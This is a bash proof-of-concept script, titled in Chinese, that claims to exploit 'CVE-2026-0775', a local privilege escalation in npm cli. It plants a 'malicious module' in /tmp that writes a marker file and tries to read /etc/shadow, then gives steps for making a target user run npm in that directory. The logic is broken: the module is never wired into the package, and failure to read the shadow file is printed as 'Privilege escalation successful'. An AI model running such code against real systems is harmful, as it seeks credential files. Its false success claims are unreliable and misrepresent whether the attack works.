CVE-2026-0775 npm cli 本地权限提升漏洞

#!/bin/bash # CVE-2026-0775 PoC - npm cli Local Privilege Escalation # This PoC demonstrates the incorrect permission assignment vulnerability in npm cli # where modules are loaded from unsecured locations. # Step 1: Create a malicious npm package in an unsecured location MALICIOUS_DIR="/tmp/test_npm" mkdir -p "$MALICIOUS_DIR" # Step 2: Create malicious module that will be loaded by npm cli cat > "$MALICIOUS_DIR/malicious-module.js" << 'EOF' // Malicious module that executes with elevated privileges const fs = require('fs'); const { execSync } = require('child_process'); // Payload: Create a backdoor or execute commands as the target user try { // Write to a protected file or execute privileged commands fs.writeFileSync('/tmp/privesc_poc.txt', 'CVE-2026-0775 exploited at ' + new Date()); console.log('[+] Malicious module loaded successfully'); console.log('[+] Executing commands with user privileges...'); // Example: Attempt to read sensitive files try { const shadow = fs.readFileSync('/etc/shadow', 'utf8'); console.log('[+] Read /etc/shadow (simulated)'); } catch(e) { console.log('[+] Privilege escalation successful'); } } catch(e) { console.error('Error:', e.message); } module.exports = {}; EOF # Step 3: Create package.json to make it a valid npm package cat > "$MALICIOUS_DIR/package.json" << 'EOF' { "name": "malicious-module", "version": "1.0.0", "description": "Malicious module for CVE-2026-0775 testing" } EOF echo "[+] Malicious package created in $MALICIOUS_DIR" echo "[+] When target user runs 'npm install' or other npm commands in this directory," echo "[+] the malicious module will be loaded and executed with their privileges" # Step 4: Demonstrate the attack scenario cat > "$MALICIOUS_DIR/test.sh" << 'EOF' #!/bin/bash echo "=== CVE-2026-0775 Exploitation Test ===" echo "Current user: $(whoami)" echo "" echo "Running npm command which will load malicious module..." npm list malicious-module 2>/dev/null || echo "Module not found in registry" EOF chmod +x "$MALICIOUS_DIR/test.sh" echo "" echo "PoC setup complete. To test:" echo "1. Navigate to $MALICIOUS_DIR" echo "2. Run: cd $MALICIOUS_DIR && npm install" echo "3. Observe that malicious module is loaded"